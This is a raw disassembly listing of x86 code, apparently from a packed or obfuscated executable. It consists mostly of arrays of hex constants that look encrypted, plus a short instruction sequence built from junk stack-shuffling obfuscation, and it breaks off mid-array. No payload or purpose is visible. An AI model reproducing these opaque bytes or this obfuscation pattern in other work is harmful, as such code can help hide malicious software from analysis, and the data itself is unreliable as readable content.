0E928A320h, 9, 0A7AA96BAh, 0C203C98Ch, 0D9C68148h dd 0E928A320h, 14h, 88017E79h, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h dd 1A76EF70h, 89850F4Ah, 8BFFFFFFh, 32C1585h, 0EE806h dd 0AF250000h, 67C2B03Ch, 0CDB2B0CCh, 0E2E3207Bh, 59D98B66h dd 6820Fh, 0B58B0000h, 60316E1h, 73FCC181h, 0DE90000h dd 0DB000000h, 4AFF6AE6h, 93F545FBh, 86B97F86h, 9D89C033h dd 60320C9h, 660834FFh, 0BAEAE381h, 0DE85Ah, 0D2680000h dd 10E40EE9h, 0C0C7033Ch, 5F05927Dh, 0C0DBF281h, 850148ABh dd 60314B5h, 7E94EA81h, 56563390h, 5F5BDF8Bh, 3B4EC281h dd 0CE971EAh, 95000000h, 4CF16F78h, 0E2F58A48h, 527380EEh dd 26019D8Bh, 48F0603h, 0FE9F501h, 0E6000000h, 0C00FE4DBh dd 102FA0F5h, 0E8D85BD1h, 0E883C2E5h, 0F88104h, 0FFFFF8Dh dd 1685h, 0C1B58B00h, 0E9060313h, 3Eh, 5648683Eh, 34004281h dd 0E8500176h, 9, 0A045BC39h, 8AA2361Fh, 14E9C7h, 30170000h dd 0D69FE965h, 1586192Dh, 0C9806460h, 0E25B53FFh, 0E95B3A64h dd 0FFFFFF44h, 41353DE4h, 10E8213Eh, 0C5000000h, 9D8E2C7h dd 4F53F3FDh, 86B5EE51h, 0F686FB9h, 665FDEB7h, 0C781D88Bh dd 5979h, 0FC9B58Bh, 0B90603h, 0BA000000h, 710D690h, 663934FFh dd 0C3A7D681h, 10E858h, 11B70000h, 0FBD8941Dh, 0E15A6A33h dd 0BCD6FC3Bh, 8A0F13D8h, 5, 41D04ABBh, 0E8815E4Ah, 46BA846Bh dd 81DBBF0Fh, 3BFF65C0h, 0D6816644h, 0E8811A00h, 5822BAF2h dd 5968BE66h, 0F048F50h, 16E1B533h, 8D010603h, 6032E55h dd 2A8EE981h, 0BE66662Ch, 0C1819B28h, 662C2A8Ah, 81D0B70Fh dd 0FFA754F9h, 14850FFFh, 0F000000h, 89h, 22E900h, 37120000h dd 39F19231h, 0FDEE6C7h, 68Bh, 99852900h, 0E906032Ch, 0FFFFFF64h dd 0E5DA614Dh, 4253D8FCh, 0F09D08EBh, 55F8h, 94E90000h dd 6800000Bh, 6095B11h, 0FAED8EE9h, 5C4168FFh, 84E90609h dd 68FFFAEDh, 6095E77h, 0FAED7AE9h, 5F9068FFh, 70E90609h dd 68FFFAEDh, 6096124h, 0FAED66E9h, 62DE68FFh, 5CE90609h dd 68FFFAEDh, 60963C4h, 0FAED52E9h, 0B8E247FFh, 0FC8291CEh dd 3C5AD512h, 7D191552h, 0C2CA5693h, 0F428F1D8h, 39766024h dd 7CB9A3EBh, 0BBF8E2B2h, 0BD3E2872h, 8E3D8DCEh, 869DA18Bh dd 0C4D657C5h, 0F03A5106h, 3278C7A4h, 48EBA274h, 45872AE5h dd 702E6CBFh, 34BFB9Eh, 0C3422C46h, 71B2AFBDh, 0AD97D43Ah dd 33F2B062h, 0A191CA93h, 0B7E0CC40h, 0A142EE5h, 381Ah dd 0CF156700h, 3CC30401h, 8AD980Ah, 0CCE39856h, 0A97B397Fh dd 0C45F6BACh, 0C97BA191h, 0C3814512h, 0DE52A191h, 0B47D5AF2h dd 444626AAh, 64368A41h, 990A1470h, 0BFh, 0C4D657E6h, 0DDA17106h dd 0F9A38A1Fh, 0B02E1FFCh, 0B952BEA0h, 894751DCh, 0C77C00B7h dd 0C3E351EAh, 100D4912h, 9489FBCFh, 762DDFA7h, 56405AD3h dd 23A11CF9h, 19AF1E13h, 28FF9562h, 0CD60A794h, 89A4E1CBh dd 747A510Fh, 3B286966h, 0D1AD9739h, 4C2D25Ch, 1DDBA36Fh dd 2D17314Bh, 9D9AA0AEh, 96BA295Ch, 787527A7h, 220AD161h dd 316E5872h, 0AB189DE1h, 85E528EAh, 96B7611h, 0C1680000h dd 63B0EDD7h, 35F6331Dh, 0EC407D67h, 0B989C6B0h, 75240BF5h dd 0A9931B27h, 0ECD6DE6Ch, 37217DAFh, 7F6933FAh, 0FCCE0FFEh dd 0DEA18B8Bh, 203706C7h, 34D78E0Eh, 4650DDE4h, 2805422Ch dd 1599846Eh, 0CD0401CFh, 0CA6475B6h, 203A0CCAh, 0CD99062h dd 0AD9809F3h, 20AAEB22h, 0BAA191C4h, 0CA0B08h, 0DAA191C4h dd 2BDD7128h, 5237512Eh, 0B0A8B5A9h, 2A5872B3h, 0D082A191h dd 3E09519h, 8F9DDA2Bh, 6466A700h, 76A191D2h, 26F3AAC4h dd 0A191D1A0h, 0D18F1723h, 4EE1F03Ch, 0A6C09250h, 564210E8h dd 7460D4A1h, 142C794Bh, 102AE0Ah, 57FB0000h, 0EAC7C4D6h dd 0B3B34041h, 73F7AE99h, 8C4A52DEh, 943DC7CDh, 39598A7h dd 4751DC19h, 6FBDD489h, 458B7027h, 66437A77h, 82B75345h dd 8EA07D25h, 0C77E500Eh, 97C769FAh, 0D25D74ADh, 7D3406C4h dd 0CE4D37E9h, 7CBDBA80h, 0A79744F8h, 0EC122A07h, 0C08CC584h dd 0C6C37509h, 1E1B63AFh, 81600F41h, 80ACBE74h, 8957FA14h dd 2826FBB1h, 7DBA6A21h, 0F564E9ADh, 0C7E5284Ch, 83BB853h dd 91980000h, 53E01D07h, 526634Dh, 0BC70AD97h, 69B9F6E0h dd 45543B25h, 0D9C3CB57h, 1C068E9Ch, 67514DDFh, 0AF99032Ah dd 0CCFE3F2Eh, 0EA18B8Ah, 3736F7h, 94E70BBFh, 2C70C0A7h dd 52F5AC5Eh, 672FFBC6h, 726634Dh, 83415BD2h, 0E73D8DCEh dd 0EB9DA794h, 0DDBAB7D1h, 0D31493FCh, 0A7943EF7h, 238E31E3h dd 417B1E0Fh, 59EDB3FFh, 248131E8h, 791EACEDh, 81ADA794h dd 0B7855715h, 0F2B0F442h, 0FE4F0620h, 6C4D657h, 0A4F03A51h dd 0B9E34AEDh, 119572CFh, 0CB3183CDh, 4290752Ch, 31487F7Ch dd 1CE9A0FEh, 0AD97296Fh, 0E87D3BEDh, 9B2F7045h, 30A190E3h dd 21D3A1FFh, 4DE01D07h, 19CE8D4Bh, 528D707h, 121B937Fh dd 6E2C6AC5h, 3B98829Ch dd 10D4D85Eh, 0EDBF7D03h, 1A3A1F4Ah, 2B6DC063h, 9819AE6Dh dd 80AC1A4Ah, 6EC15614h, 7CBD7230h, 1A4A984Eh, 0ECBADA8Ch dd 0E4814B00h, 0B7767DCDh, 3B5527E5h, 80F8E484h, 0D7EEEBADh dd 0DB8B4248h, 0BE5FA17Eh, 62058997h, 1ED5C0DAh, 2AE8B27Bh dd 0CDFD3E75h, 0DE1A4A11h, 4A122D9Dh, 2DFBAD1Ah, 0CCF7C47Bh dd 0AE1A4A11h, 854586BDh, 551A4A11h, 327AC6A3h, 4BEBA274h dd 5446E75Fh, 96002D6Ah, 0EDF301D8h, 4549D9F0h, 0F98ACB8Eh dd 53204D34h, 4D4A52DEh, 46EFBE0Ch, 506A1C14h, 0D399E766h dd 0DBA95D6h, 0E4FB1A4Ah, 0BC8E4C48h, 0C2BF7105h, 0D2804A8Bh dd 0A85A0E43h, 0A1B86DF1h, 89560D91h, 0E43D33Eh, 35F3BB87h dd 500E8EA0h, 80352101h, 8E3F1CB3h, 1A1D00DFh, 0D5C16118h dd 5C5063Dh, 0D50E43B9h, 46186C23h, 49D6241h, 99575FEDh dd 0D2C410C7h, 11000003h, 0D2099A71h, 94E73991h, 38EFA1A7h dd 423F0D53h, 98026601h, 0F1FCAEADh, 0A09D3ACCh, 0A0CE922h dd 450B7CC5h, 646A4F06h, 1F185956h, 662686B2h, 68DCEE2Fh dd 4CFE1A80h, 524F0195h, 741DEC3Bh, 48C3E62Ah, 14E6A4BEh dd 0FC02D95Dh, 6EB0F1EEh, 14208706h, 172E6562h, 0F3C5830Bh dd 294993Ch, 4852DB18h, 3BA898C3h, 0DA81C7Ah, 605h, 57415BCEh dd 9D870D1Ah, 0E7D1CF60h, 281282AAh, 6D575FEBh, 0B9899386h dd 40CE0BF5h, 1B15523Ch, 0D954917Bh, 6554D5BFh, 8B88A624h dd 5C1D34A1h, 0BBF0037h, 0CFA794E7h, 7381661Dh, 0C959706Dh dd 0E729A1E2h, 0FFB1A794h, 2A6B2EE5h, 0AD980961h, 765495CCh dd 64A191C3h, 5674B5B2h, 84A191C4h, 0D5871BD2h, 0F1AB8217h dd 1804E433h, 4D4A105Eh, 94E67F0Ch, 412BDDA7h, 0B16F2904h dd 0C987111Ch, 3273AA47h, 9B8EA098h, 39D99042h, 7B58D54Dh dd 0E2CCE6ACh, 0FDBC6E85h, 8EA10EBCh, 1ACC9Bh, 0CD8B0B23h dd 1EF044FBh, 5310175Dh, 2B1h, 1ECF15A0h, 94E6EDDDh, 213BEDA7h dd 92210D24h, 94E67951h, 95AF61A7h, 682676B8h, 0E51CDF96h dd 84431208h, 0DA912F96h, 9DFC5A0Dh, 0C8AE8BADh, 0BA93AD8h dd 0A759EDA4h, 0FF8793AAh, 4081B815h, 0A18BC68Ah, 44E79E50h dd 33F2B0F4h, 0A18BC692h, 3397D80Fh, 0A7A18BC7h, 929B3EF5h dd 51CA8308h, 5ED2EF28h, 4ECC3h, 5842E700h, 9CE2316Eh dd 0DCBA75B2h, 1D79B5F2h, 622AF633h, 94889178h, 0D9160084h dd 1C59434Bh, 5B988212h, 5DDEC8D2h, 879D2D6Eh, 263DA18Bh dd 1CF1565h, 74B6CD04h, 0E1986A28h, 9E405314h, 0EB2CC1ADh dd 0A18B8CDFh, 712F49FBh, 864485BCh, 54A18B8Ch, 0E548EBA2h dd 9C5A22F0h, 89C6B0CAh, 0F0E369A4h, 0E039A855h, 0BD8F4D53h dd 36CB89A3h, 65E7A5F7h, 0A687FFEBh, 2A14E131h, 0D09A9CE1h dd 77617B95h, 1AFBB789h, 3A98750Ah, 0FA7EAC04h, 5939C79h dd 72BE7547h, 1ADh, 0C4D657BFh, 0DABC7106h, 5D6371F0h dd 0B1F22960h, 0A794E719h, 0E6795192h, 0AF61A794h, 0DB522FE1h dd 6E3D0AC1h, 0FFAD97EBh, 347544E8h, 0A191E196h, 9B789244h dd 7648068Ch, 0BB792BBFh, 91E1CAFCh, 0A99509A1h, 672DFA11h dd 0CC20D7A9h, 0A1417FAh, 3E2Fh, 0CF157C00h, 3CC30401h dd 0D9AD980Ah, 73316BC2h, 0A456EAA1h, 0C39F27E6h, 9D34A191h dd 0A3C531C0h, 8A412A46h, 4F66FEEAh, 0A3FEBCDEh, 0DC1D13ABh dd 6BDD711h, 143CE0B2h, 0B6150Ah, 57620000h, 6A2C01D6h dd 0A7765350h, 23A1979h, 65FA7E35h, 7E13D1D5h, 9A2FEDAFh dd 0B81F0993h, 0A794D4DCh, 6F0AA83h, 76737987h, 50F6623Fh dd 4C29268h, 0C0973925h, 0EAA1BB4Bh, 9A39D51Dh, 0A6A355ADh dd 0D3F7386Fh, 7A18ED3h, 0E3B57855h, 0F99C5325h, 3E7B6529h dd 5945E7F2h, 6285BA3Fh, 8BFFEF27h, 358F0h, 0E4B67B00h dd 286EBDFAh, 702E013Eh, 0B9E54986h, 0FE8692CFh, 306C2D14h dd 75B29CE0h, 0B8F5DFA7h, 0FF3C2676h, 1826C2Eh, 85F9D112h dd 0CAE1A18Bh, 0C3CB5709h, 7919CD9h, 90182D0Ah, 0F660FB8Ah dd 7212B8F9h, 16C8A794h, 3B52AF5Fh, 9DEEA5F1h, 0BBF0037h dd 0CFA794E7h, 6C4D05Ah, 0C0631A34h, 0D86D2B6Dh, 0AB1F6055h dd 2FA794E6h, 0FA79637Dh, 0CE9E6F4h, 0FB3063BEh, 7C3FF6CEh dd 9726483Bh, 945204ADh, 90E0F3D5h, 816DE7A1h, 0BC110CE9h dd 0DCA1E183h, 2C324025h, 5395EE2Fh, 5B7A793h, 18F62B08h dd 1E1AE668h, 0FBCD8B11h, 6C2804E1h, 7525DCAEh, 0C4D6578Ah dd 0DABC7106h, 5D6371F0h, 0B3FB4960h, 874557D6h, 0FA3BFEB5h dd 0AD97EBB1h, 0B3FEB0EBh, 0C7C2CC70h, 9499B0ADh, 95AFEF3Fh dd 0C70805D7h, 0A1911003h, 0EA6E25D7h, 64C55835h, 7E8D8337h dd 44CCFAC7h, 9307A191h, 0B4AC7EA7h, 35E10A14h, 0BC000000h dd 1C0EAADFh, 0CB826487h, 1CF157Ah, 0A3CC304h, 5608AD98h dd 0AEF64259h, 12B473F7h, 0C1A191C4h, 7A18132Ah, 9333EABCh dd 39AC7EA7h, 0DAE10A14h, 2E000000h, 6C4D657h, 0E0DDA171h dd 7B3965C9h, 0D96EF2A9h, 0AC1E5F54h, 2EA794E6h, 0FA4627Ch dd 2B927C1Eh, 0A794EB69h, 686537F6h, 0FCBADC51h, 86C3732Ah dd 6037F5A7h, 724F4C12h, 5622D7B0h, 0D79A51D4h, 97056996h dd 8595ACADh, 90142401h, 0B54900D2h, 549A1903h, 0A4488986h dd 7AA796ACh, 78B4CBC8h, 0D58C5E1Ch, 672FFB12h, 0BAD8536Ah dd 0C3732AFCh, 6DF2BA86h, 0E528D6D4h, 9E9934A8h, 35000001h dd 73B09AFCh, 0B7F4DEA4h, 0FF3C2674h, 48856F2Fh, 0E3CAB4F8h dd 525AE636h, 991D2B68h, 0DCB872AFh, 1E78B5F2h, 83C4B334h dd 0A18B8547h, 37BB7C93h, 0E70BBF00h, 1DCFA794h, 2F77C366h dd 83131B32h, 0FBCF10C5h, 0DFA794E6h, 0D516132Dh, 0A794E6F5h dd 0CC7C33E5h, 12FC9E8Fh, 1CF1527h, 585EED04h, 4E11C89Ah dd 9809F20Dh, 0E2A052ADh, 91C3A323h, 0D0BC30A1h, 1439D5A7h dd 0A00A0Ah, 57570000h, 5106C4D6h, 0ECA3F13Ah, 0F7B5F949h dd 0CA0B42h, 0DAA794E7h, 0F0A47128h, 6FA794EBh, 95F2DCBEh dd 0E1AD1D5Eh, 7B2DA794h, 540B919Eh, 5C1A7CB1h, 74717F85h dd 921A263Dh, 92502D4h, 0F609D68Dh, 4EAD97E8h, 2D33B29Ch dd 0ACE1221Fh, 0B4A7978Dh, 22EE0502h, 0E733705Ah, 0CE791A9Fh dd 0D74BE529h, 0B83Ch, 84161B00h, 0C8CE5D9Ah, 108EA1DEh dd 5945E926h, 9EE6326Fh, 0D0CCCDB4h, 15523C40h, 58957F07h dd 9FDCC6D6h, 0A1220C8Eh, 845971B2h, 6A81A18Bh, 0C3CB57A9h dd 7919CD9h, 2037321Dh, 39CE8C10h, 15E7A5E9h, 8CA144FBh dd 76B74C0Ah, 11CFCF61h, 0BC3B253Fh, 6AABA8B6h, 0AD9E40F9h dd 0EA36113h, 56937D1Fh, 4807C5D7h, 0F57D22A8h, 9E160288h dd 0B6FE4A8Fh, 0A4889F9Ch, 0B1683AF8h, 0BE8DA401h, 0B1683AF8h dd 0BF7D1F0Eh, 0D492022Ah, 0F3B1ED3Fh, 0DCBD15Eh, 0CFCD5E3Bh dd 7F6B3911h, 675333CAh, 725C3EEFh, 0A19EF835h, 8C021AC4h dd 32E986EEh, 313AEh, 751A0000h, 0C8D25734h, 0DEB8750Ah dd 0F5A18B20h, 1094A237h, 296DBD52h, 424AD66Bh, 5F3FEF84h dd 75230CA1h, 8F1522B7h db 0D1h, 4Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 5A0Dh mov [esp], ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push edi mov edi, 60959F0h push edi add dword ptr [esp], 5F1A7A93h pop ebp sub ebp, 5F1A7A93h pop edi push esp mov edi, [esp] add esp, 4 push 1269h mov [esp], ebp add dword ptr [esp], 69FF46EEh pop dword ptr [edi+8] sub dword ptr [edi+8], 69FF46EEh mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4FF7CF ; --------------------------------------------------------------------------- db 8 dd 68C1E445h, 5BEC4CD5h, 0B83ADDD5h, 60964A1h, 0E0FFC503h dd 4DEEE434h, 2122481Dh, 65A8E999h, 4CD52440h, 70F8B44Dh dd 77AB6060h, 68E3B5ECh, 1205720Fh, 2775DED8h, 5F8B2DECh dd 4B58DAA7h, 3A25A06Eh, 7682BE7Dh, 3C47F060h, 54F653Ch dd 46F49EF3h, 1BF9B280h, 74F3378Eh, 5ACFF0D3h, 4FFC9B49h dd 9767B0Fh, 3EEA595Fh, 7A55B147h, 0F1160CEh, 4C8B6380h dd 738AA13h, 6C6DBF2Dh, 287ED474h, 666D8D8Dh, 9D890609h dd 6032F55h, 20A58D89h, 0BF0F0603h, 6585C7DEh, 4406031Ah dd 6A000069h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 69FDC353h, 0D44B0FF5h, 85C79C11h dd 6030071h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D7C35343h dd 5EB11814h, 0B2A8B1Dh, 81DF8BF8h, 547E99CEh, 21B5FF2Ah dd 0F060320h, 28Fh, 0FF07B600h, 3171D95h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 49F27C38h, 6AC3BF0Fh, 0A595FF00h, 8B060323h, 2209EBC0h dd 9C335550h, 9B1260F3h, 8EBh, 291B0000h, 0C0E92844h, 68000004h dd 60967CFh, 0FA178CE9h, 686468FFh, 82E90609h, 68FFFA17h dd 609698Eh, 0FA1778E9h, 0AC75FEFFh, 0CB9C2240h, 0E8B9415Fh dd 0BD45E7Ch, 2BFC819Fh, 0F0B400BFh, 102E9A6Bh, 3250BC85h dd 5371DDA6h, 8A8FFBCCh, 23DD13DEh, 8795D018h, 0BC7D0715h dd 90C59F56h, 0D9247703h, 760C8A05h, 7A453D48h, 8C00D156h dd 175D285Ah, 0DFD61145h, 45AFC5D2h, 3A47D611h, 0E958D42h dd 1F86D13Dh, 0A5420D81h, 0BFDC1465h, 65ACC28Dh, 3744D012h dd 1286933Fh, 0FD8E3609h, 0BD853D96h, 261964BCh, 0E6B1257Dh dd 0D0123288h, 0AE635B68h, 1232FFF9h, 0CECB44D0h, 3A948B40h dd 0E18A935Ah, 992BAEB9h, 87EDB82Ch, 6FD01274h, 0E12F6A62h dd 1F000002h, 37C18711h, 58231B6Eh, 50CD7E13h, 8E8954C8h dd 0A8DC1460h, 0A8B16B9Bh, 5F4F9C40h, 0DA81E22Eh, 6463A38Eh dd 95561911h, 0C6D57503h, 824DC15Fh, 0DF7D4649h, 4C56DCE1h dd 226D36C0h, 0C1147433h, 98609DC2h, 0C18A1624h, 0BAD49FC9h dd 32D57840h, 4D7FB125h, 7E326C82h, 0FFF704D9h, 2DA172F9h dd 53744424h, 4A4295FFh, 0B2830A28h, 25001C5Bh, 939A9BD8h dd 2D2h, 67D39C25h, 86F2C349h, 0A30FE068h, 0C632FB85h dd 0E65223A8h, 9217DB27h, 0AC3755C1h, 0CD5977E3h, 0F37A9804h dd 5B1B622h, 1822343Ah, 9BAEBCD0h, 3F350032h, 0B7D61145h dd 0FFF5FAAh, 93F58C62h, 633D689Bh, 8D56E1EFh, 0DBA06B95h dd 9BDC1A95h, 0E14CA26Dh, 1724D018h, 0BD4250C4h, 7B4678ECh dd 0D018E175h, 164BF8FDh, 92A39548h, 725473Fh, 2F3DB182h dd 2CE1D9AAh, 182D7277h, 0AA6D76D0h, 0BB30A9FEh, 0B2393F37h dd 0E4418AE1h, 0D3D4CEBEh, 23DCCh, 6831BA00h, 8758DEFCh dd 0A475FD1Bh, 0C7901A38h, 0E7B83D5Bh, 0AC70BC7Bh, 0CCEA5627h dd 0EE0C7841h, 0F2D9962h, 464BB788h, 2DA1CF9Ah, 4351D018h dd 24FC2930h, 0AB06E5B0h, 0D3E0DC1Ah, 22D51FD4h, 0F16AD018h dd 806D66F4h, 85A85A30h, 0F7000001h, 7601CF56h, 3F5B5AADh dd 452C420Dh, 0E06AD611h, 271D1817h, 951C221Ah, 86513BC7h dd 0D6114568h, 34A8FB08h, 11450B69h, 8BDEEBD6h, 0CFA9D41Fh dd 4A43905Bh, 6775DC14h, 6B170FE0h, 52DCEA5Eh, 978F8A89h dd 40C32DE2h, 0FF78D012h, 0E27F7402h, 20B65A3Ah, 5000000h dd 0B024FC29h, 1468C2E5h, 908F9CDCh, 126691DBh, 0B0AD26D0h dd 3AC0A922h, 0A5645Ah, 56B30000h, 7FFFECFh, 0BAB2B182h dd 6B636233h, 0C927F2E4h, 0A9D61145h, 0C7D5499Ch, 57797142h dd 114A5C7Ch, 0C04C5AD6h, 40E50BD6h, 808DD611h, 3B332E2Dh dd 71DDAE35h, 0AD21FF26h, 808793A4h, 0C2BAEDDDh, 8EFFCD98h dd 6A77DC16h, 945DE8F6h, 78A29A95h, 0A814E56Ah, 0DD34058Ah dd 0CEBBCB8Ah, 13293031h, 0E4000001h, 826925Bh, 2745B182h dd 4462CE9Fh, 6785F1BAh, 0E6A511E2h, 8051D69Ah, 0A26BF614h dd 0C38C1836h, 0E1B23957h, 0F9C47075h, 0D0182CFBh, 565A6D7Bh dd 7E8C00D1h, 2E2928F9h, 6FF61436h, 324F329Eh, 0D3CB9C24h dd 0F27846CDh, 4C5ACE21h, 0FDF8F7C0h, 0D1585005h, 0F3838C00h dd 0F5D99E4Fh, 59A4C6BEh, 15E0542Ch, 0DC142C42h, 9D66F2FCh dd 0CC53A39Eh, 0AE01FCFBh, 0BD6083Ah, 0D01549E5h, 8288808Dh dd 0E5C02CFDh, 0D015498Bh, 814FD7E5h, 0D6D528F9h, 569C67DBh dd 1ED01549h, 8C131911h, 0AC314FBBh, 6BD5DCDBh, 0D8000000h dd 0E32CFC29h, 750FF0DAh, 7A45B90Ch, 0DC1A9EF1h, 756D6C79h dd 6FB11DEEh, 1109DA61h, 0B4B3840Bh, 571C6DFFh, 4B48A302h dd 0DF4B1CA3h, 0F5693AC1h, 8F8E5FE7h, 1F552094h, 0D7E2479Bh dd 251DD2CAh, 0B5D3D29Bh, 0AA31D9D6h, 0C84F6DD9h, 0A2A172FAh dd 7D4A72AFh, 388B8584h, 15FBF9C4h, 6E7BE247h, 3151C1Bh dd 18000000h, 0CD563D54h, 860D0504h, 32BEB6B5h, 0E7726A69h dd 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah, 6DF3EBEAh dd 576F9D9Ch, 0C7815F54h, 4, 8704EF83h, 685C243Ch, 124Ah dd 68241C89h, 633Eh, 81240489h, 4ECh, 242C8900h, 0B960F5BDh dd 0B3C58165h, 89A05005h, 0EC835DEBh, 24248904h, 4240481h dd 58000000h, 8904EC83h, 0DD89242Ch, 5D086889h, 5324048Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 1C8B5C24h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA12D8E9h, 0B8D58FFFh dd 6096AC6h, 0E0FFC503h, 7D2179E1h, 7C1AE0DCh, 75102D60h dd 2B54FCA5h, 73762A22h, 5FD4D788h, 242AF928h, 7178BA0Bh dd 6C508D8Dh, 0BD8B0609h, 60306F5h, 20A58D89h, 870F0603h dd 6, 1435958Bh, 85C70603h, 6031A65h, 6FFCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FEC35141h, 0D080959Fh dd 9F161D2h, 317219Dh, 7185C706h, 60300h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0EBE3C353h, 89AA785Ah, 0C69B5FFh, 6A0603h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8488EEC3h dd 39173E3Fh, 666023FDh, 8BCCE8BAh, 95FF61DFh, 603171Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h dd 29079FA0h, 6A45A7h, 23A595FFh, 0C08B0603h, 0E62A38EBh dd 6ADB9C9Bh, 581D2D12h, 3C5D26DBh, 6C53225Eh, 46DF6AC6h dd 2BA31E64h, 0E03B352Fh, 0C45D7E9Dh, 15A1A795h, 24BA5261h dd 130A2F7Ah, 8FF8031Fh, 801E03C5h, 8D8DB1C3h, 6096D33h dd 2D7D952Bh, 0B5290603h, 6031F85h, 20A58D89h, 85C70603h dd 6031A65h, 5860h, 15B98589h, 85C70603h, 6030071h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ADC35343h dd 0B50D8E52h, 0A9B5FF63h, 6A06031Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 512EC355h dd 858B253Fh, 6030711h, 0CE9h, 0C4740D00h, 0C8547E02h dd 0C0371B55h, 83BB660Dh, 1D95FFD5h, 8B060317h, 3189D85h dd 0FF006A06h, 323A595h, 0EBC08B06h, 0EC69220Ch, 9A8A7766h dd 0AF730799h, 0D28D8D1Ah, 106096Dh, 32A998Dh, 0A58D8906h dd 0E9060320h, 6, 0FF0AF3DEh, 85C7F72Ah, 6031A65h, 5D0Ch dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1AC35747h dd 0C7F98566h, 3007185h, 6, 0F19D8900h, 0FF060317h, 30EA9B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 22069AA9h, 95FFB2ABh, 603171Dh, 0D442BA66h dd 95FF006Ah, 60323A5h, 5AEBC08Bh, 9D2AADCFh, 7251EB30h dd 0E0D3B71Dh, 45D3EC5h, 116BCE40h, 0F49383E9h, 68444C4Dh dd 0B5CC4DEh, 0C807185Ah, 894D8B8Eh, 736DD12Ah, 2445480Dh dd 9E241E3Fh, 35C364B1h, 0E0089377h, 8D2708E0h, 0ADA1CF05h dd 30454CDCh, 0F80455A3h, 1FDDD896h, 0FF63A16Dh, 48A3B54Dh dd 10E8E60Bh, 0F3000000h, 3BB7F581h, 2A9CBC7Ah, 0EFE802D6h dd 52B4735Eh, 860F60h, 60000000h, 5A5B6161h, 204D8D8Bh dd 0C2810603h, 6838h, 0B58D8956h, 5906032Dh, 8166FF2Bh dd 0FFA41BF1h, 8D8B1734h, 6032109h, 0DBBF0F5Eh, 0DD65C681h dd 0B9665CFCh, 0EE81C3BCh, 625C94DCh, 0E519D01h, 0F6810603h dd 3D50C984h, 0F556A5B7h, 93A048Fh, 31D119Dh, 85858B06h dd 83060303h, 815102EFh, 0C7899E9h, 4F4F5B23h, 80C38166h dd 80FF818Eh, 0FFFFF98h, 1685h, 0E9C38B00h, 23h, 47EE13EBh dd 27388ED7h, 0B192F1FDh, 0BDE0A50h, 331358Dh, 0FF85E906h dd 1443FFFFh, 29F122C4h, 0E8186079h, 6, 8FDDC84Ch, 8B5B8BD0h dd 32285B5h, 0DEC38106h, 0E900005Dh, 12h, 5D0C4D34h, 5A51231Ah dd 6EE1086h, 90AB183Eh, 4A68408Ch, 53000017h, 25A58533h dd 5A580603h, 8E8h, 0F6FE3600h, 711F11A9h, 8B58FCD2h, 0E781600Bh dd 71407511h, 20E58589h, 81610603h, 0DF3DA5E9h, 45C1810Ch dd 8911BB4Dh, 3208DB5h, 0FFC18106h, 89355817h, 4CF7810Bh dd 81481072h, 2671E6EBh, 8B66506Ch, 0C3815EF1h, 6C2671E2h dd 83F2B70Fh, 850F01EAh, 12h, 1FE9F18Bh, 0A5000000h, 0C5B3F6B8h dd 808E6F2Fh, 0BD0B1BD3h, 6030875h, 0FFFF96E9h, 9B0D4CFFh dd 0CDCA8B7Dh, 8D8DA603h, 6097069h, 20A58D89h, 10E90603h dd 0D2000000h, 0E6FF763Ah, 8CEFE606h, 0C9040411h, 0C7AE13ABh dd 31A6585h, 6DA006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 8A9F2DD4h, 85C728B4h dd 6030071h, 0 dd 1810Fh, 0FFFC0000h, 30575B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 89608C7Ah dd 319598Dh, 13E806h, 38F90000h, 680445E8h, 0DF43AD9Eh dd 0EE8E7539h, 0A6460114h, 0BEB966C0h, 0FF615A0Fh, 3171D95h dd 19B58906h, 6A06031Dh, 0A595FF00h, 8B060323h, 0D07BEBC0h dd 0A9751202h, 4A67F056h, 0D26DB6F3h, 0CE12C53Ch, 0CA2BC0A5h dd 3D989E6Dh, 0EEB07C1h, 98D0A696h, 0C101E9AFh, 0EB80DE3h dd 7BDD9CC5h, 48D5FC90h, 301CC3BDh, 9F6096B0h, 0B922FCC7h dd 0C2077203h, 27A0FDA4h, 1C45B055h, 79599F12h, 91FAF9B0h dd 0D224874h, 605A03A1h, 8E613933h, 5FCFA322h, 0F15F6907h dd 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh, 0AABAC08Eh, 70846B33h dd 8D8DA673h, 609715Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 48C35141h, 89D6B70Fh, 320A58Dh, 0CA816606h dd 85C78DE5h, 6031A65h, 6618h, 68B0Fh, 9D2B0000h, 6030F19h dd 7185C7h, 603h, 9D310000h, 60316B9h, 2021B5FFh, 0BD090603h dd 6032E11h, 171D95FFh, 8D090603h, 6030925h, 95FF006Ah dd 60323A5h, 9EBC08Bh, 93D43DBDh, 0B70F9177h, 128D8D55h dd 